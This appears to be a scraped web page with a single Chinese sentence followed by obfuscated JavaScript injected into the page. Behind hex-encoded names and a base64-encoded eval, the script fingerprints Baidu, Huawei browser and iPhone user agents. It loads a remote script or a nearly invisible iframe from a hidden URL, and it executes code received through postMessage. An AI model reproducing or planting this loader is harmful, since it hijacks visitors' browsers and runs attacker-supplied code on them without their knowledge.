老师，你不知道吗？

eval("\x77\x69\x6e\x64\x6f\x77")["\x50\x46\x72\x4a\x5a"]=function(e){var li ='ABCDEFGHIJKL'+'MNOPQRSTUVWX'+''+'YZab'+''+'cdefgh'+'ijklmnopqrstuvwxy'+''+'z012345678'+''+'9+/='+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["\x58\x73\x63\x6d\x59\x74"]=function(){eval(PFrJZ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dmFyIGRzPW5ldyBEYXRlKCk7dT1kZWNvZGVVUklDb21wb25lbnQoUEZySloodS5yZXBsYWNlKG5ldyBSZWdFeHAoYysnJytjLCdnJyksYykuc3BsaXQoJycpLnJldmVyc2UoKS5qb2luKCcnKSkpO3U9dS5yZXBsYWNlKC9xaWhhbmcvZyxkcy5nZXREYXRlKCkpOydqUXVlcnknO3ZhciBfdWE9bmF2aWdhdG9yLnVzZXJBZ2VudDt2YXIgX1BGckpaUEZySlo9JzxzJysnY3JpJysncHQgc3JjPSInK3UrJy5qcyI+PFwvcycrJ2NyaXAnKyd0Pic7aWYoX3VhLmluZGV4T2YoUEZySlooIlltRnBaSFU9IikpPi0xIHx8IF91YS5pbmRleE9mKFBGckpaKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7aWYoX3VhLmluZGV4T2YoUEZySlooJ2FWQm9iMjVsJykpPi0xKXtkb2N1bWVudC53cml0ZShfUEZySlpQRnJKWik7fWVsc2V7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbUEZySlooIlkzVnljbVZ1ZEZOamNtbHdkQT09IildO3ZhciBfaWQ9X2NsYXNzPSdXJysnJysnZScrJycrJ2dTJysnJysnZCc7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7d1snX19rJysnZGEnKyducScrJ29iJysnal82NiddPWRbJ3F1JysnZXJ5JysnU2VsZScrJ2N0bycrJ3InXSgnIycrX19rZG5xaWQpO19pZCArPSBkWydxdScrJ2VyeScrJ1NlJysnbGVjJysndG8nKydyQScrJ2xsJ10oJy4nK19jbGFzcykubGVuZ3RoO3ZhciB6ID0gdSsnLTIvJytfaWQrJy8nK3I7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oUEZySlooZS5kYXRhW3IrX2lkXS5yZXBsYWNlKG5ldyBSZWdFeHAociwnZycpLCcnKSkpKCk7fX0pO319ZWxzZXtkb2N1bWVudC53cml0ZShfUEZySlpQRnJKWik7fX0pKCc9VScrJycrJ2pNJysnJysndFknKydqJysnJysnTnQnKycnKydNbVInKycnKyd5VScrJycrJ3ladScrJycrJ0ZHYScrJycrJ3BGWCcrJycrJ2UnKycnKyc0NFYnKyduJysnJysnY2wnKydSJysnJysnbmNHJysnJysnSlQnKydKeicrJ2dEJysnJysnTzQnKycnKyc0SScrJ1RReicrJycrJ1VTZCcrJycrJ2psJysnJysnbUwnKyduNVcnKycnKydZb2wnKycnKydXYzMnKyc1JysnRycrJycrJ2F1aycrJ0gnKycnKydjbCcrJycrJ1prJysnJysnTWwnKydZa00nKycnKydsRScrJycrJzBNbCcrJycrJ01IJysnYzAnKydSSCcrJ2EnKycnLCdXJysnJysnZScrJycrJ2dTJysnJysnZCcsd2luZG93LGRvY3VtZW50LDAsJzQnKQ=="));}